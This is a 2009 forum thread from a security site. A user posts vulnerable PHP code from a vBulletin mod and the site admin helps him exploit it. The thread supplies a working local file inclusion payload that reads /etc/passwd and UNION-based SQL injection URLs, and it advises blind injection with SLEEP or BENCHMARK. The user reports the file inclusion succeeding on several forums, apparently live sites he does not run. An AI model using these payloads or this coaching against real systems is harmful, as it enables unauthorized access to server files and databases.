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I will give some details... Quote: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [path]/file.php on line 204 Warning: include(folder/forms/.php) [function.include]: failed to open stream: No such file or directory in [path]/file.php on line 300 Warning: include() [function.include]: Failed opening 'folder/forms/.php' for inclusion (include_path='.:/usr/lib/php') in [path]/file.php on line 300 Some piece of code of file.php: Code: if($form){ $the_target = $form; $the_target = explode(",",$the_target); $forum = $the_target[0]; $formulario = $the_target[1]; $links = $the_target[2]; $sqlSecure="select id from ".TABLE_PREFIX."up_grupos where forumid = '".$forum."'".( ($membroNormal)?" and `permissoes`='livre'":"" ); $qrySecure = mysql_query($sqlSecure); $forum_permitido=(mysql_num_rows($qrySecure))?true:false; Line 204: Code: $forum_permitido=(mysql_num_rows($qrySecure))?true:false; Query of table up_grupos: Code: CREATE TABLE `". TABLE_PREFIX ."up_grupos` ( `id` int(11) NOT NULL auto_increment, `idGrupo` int(11) default NULL, `descricao` varchar(150) default NULL, `tipo` varchar(4) NOT NULL default 'http', `conteudo` varchar(20) NOT NULL default 'filme', `nivel` decimal(2,0) NOT NULL default '0', `forumid` int(11) default NULL, `permissoes` varchar(5) NOT NULL default 'staff', PRIMARY KEY (`id`) ) ENGINE=MyISAM ; Posted: Tue Jan 13, 2009 3:30 am delta Advanced user Joined: Jan 11, 2009 Posts: 60 So... no one? =/ Posted: Wed Jan 14, 2009 12:52 pm Rastlin Regular user Joined: Jan 03, 2009 Posts: 21 delta wrote: So... no one? =/ There is insuficient data .... I mighty try to guess that somehow your giving a wrong path somewhere .... Posted: Wed Jan 14, 2009 1:40 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu More info needed - input parameters. There can be blind sql injection or maybe even LFI or RFI, but without additional info we can't help you. Posted: Wed Jan 14, 2009 3:23 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 I don't think it's RFI or LFI. It's a vbulletin MOD. This send information to the database. Ex.: http://site.com/forum/file.php?form=9,blabla,http It uses explodes as you can see in the code: Code: $the_target = explode(",",$the_target); and send to these vars... Code: $forum = $the_target[0]; $formulario = $the_target[1]; $links = $the_target[2]; and then comes the query: Code: $sqlSecure="select id from ".TABLE_PREFIX."up_grupos where forumid = '".$forum."'".( ($membroNormal)?" and `permissoes`='livre'":"" ); $qrySecure = mysql_query($sqlSecure) So, teorically i should do that: http://site.com/forum/file.php?form=SQL INJECTION CODE,blabla,http Sry for my poor english and thanks in advance for the help. Edited: Now i tried http://site.com/forum/file.php?form=9',blabla,http as i said before and got only this: Code: Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in [path]/file.php on line 204 [/i] No other errors And i forgot to thell that he gets the $formulario and do this in other line of the code: Code: include "folder/forms/".$formulario.".php"; That's the reason i' was getting the 2 include errors... Sooo... That helps now? Posted: Wed Jan 14, 2009 4:15 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu This can be LFI, try this: Code: http://site.com/forum/file.php?form=9,../../../../../../../../../../etc/passwd%00,http For sql injection try: Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+1--+,bla,http This is probably blind sql injection though. Can you post that MOD-s name? I can look @ src code and look for possible exploits Posted: Wed Jan 14, 2009 5:12 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 waraxe wrote: This can be LFI, try this: Code: http://site.com/forum/file.php?form=9,../../../../../../../../../../etc/passwd%00,http For sql injection try: Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+1--+,bla,http This is probably blind sql injection though. Can you post that MOD-s name? I can look @ src code and look for possible exploits The LFI works fine(in some forums i get 403 or 406) xD I tried the sql injection Code: http://site.com/forum/file.php?form=-1'+UNION+SELECT+0--+,bla,http and no erros displayed. The problem now is how i can exploit the injection since can't use "," because of the explode :S The mod have 1 more sql injection bugged file that i found, can't give you the mod name now, but later maybe Thanks a lot for your help Posted: Wed Jan 14, 2009 7:16 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu Yes, this can be tricky without ","-s. But you could probably use regular expressions (regexes) instead of ORD(SUBSTR(hash,2,1)) and CASE/WHERE/ELSE instead of IF(1,2,3). I'm not 100% sure about that, it needs testing Posted: Wed Jan 14, 2009 7:27 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 This will be very complicated T___T I think that's better to try the other file... Do you mind taking a look in the other file to see what can be done? If ok i will send to you via PM. Posted: Wed Jan 14, 2009 8:59 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu I'm too busy right now - new advisory is coming out very soon and i'm preparing it right now Posted: Wed Jan 14, 2009 9:11 pm delta Advanced user Joined: Jan 11, 2009 Posts: 60 Ok, no problem ^^ In the other file i'm getting some erros: http://site.com/file.php?do=lol&action=form&id_topic=6727' Quote: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 237 Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 244 Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 266 Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 288 Warning: include(forms/.php) [function.include]: failed to open stream: No such file or directory in [path]/folder/editar.php on line 436 Warning: include() [function.include]: Failed opening 'forms/.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in [path]/folder/editar.php on line 436 When i do: http://site.com/file.php?do=lol&action=form&id_topic=-1'+UNION+SELECT+1,2,3,4--+ this error disappear(same if i change the column number, others erros will disappear and some remain because the column number of tables is different): Code: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in [path]/folder/editar.php on line 244 but not any number of column displays in the page, what can i do next? Posted: Wed Jan 14, 2009 9:54 pm waraxe Site admin Joined: May 11, 2004 Posts: 2407 Location: Estonia, Tartu As usual - if you can't get direct visual feedback from target, then try blind injection. Look for response differences or as last resort use BENCHMARK() or SLEEP(). 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